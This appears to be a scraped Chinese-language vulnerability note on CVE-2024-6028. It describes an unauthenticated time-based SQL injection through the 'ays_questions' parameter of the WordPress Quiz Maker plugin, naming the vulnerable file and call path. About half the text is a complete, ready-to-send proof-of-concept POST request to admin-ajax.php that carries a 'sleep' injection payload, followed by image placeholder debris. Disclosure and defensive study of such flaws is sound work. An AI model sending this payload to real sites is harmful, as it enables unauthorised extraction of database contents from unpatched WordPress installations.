CVE-2024-6028 Quiz Maker <= 6.5.8.3 - 通过 'ays_questions' 参数实现未认证的SQL注入
WordPress 的 Quiz Maker 插件存在基于时间的 SQL 注入漏洞，该漏洞源于对用户提供的 'ays_questions' 参数转义不足，且未对现有 SQL 查询进行充分预处理。所有版本直至 6.5.8.3 均受影响。这使得未经身份认证的攻击者能够将额外的 SQL 查询附加到已有查询中，从而从数据库中提取敏感信息。
File: wp-content/plugins/quiz-maker/public/class-quiz-maker-public.php
Class: Quiz_Maker_Public
工作流程：方法 ays_finish_quiz -> 方法 get_questions_categories image image 图片
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
ays_quiz_id=1&ays_quiz_questions=1,2,3&quiz_id=1&ays_questions[ays-question-4)+or+sleep(if(1>0,5,0)]=&action=ays_finish_quiz
图片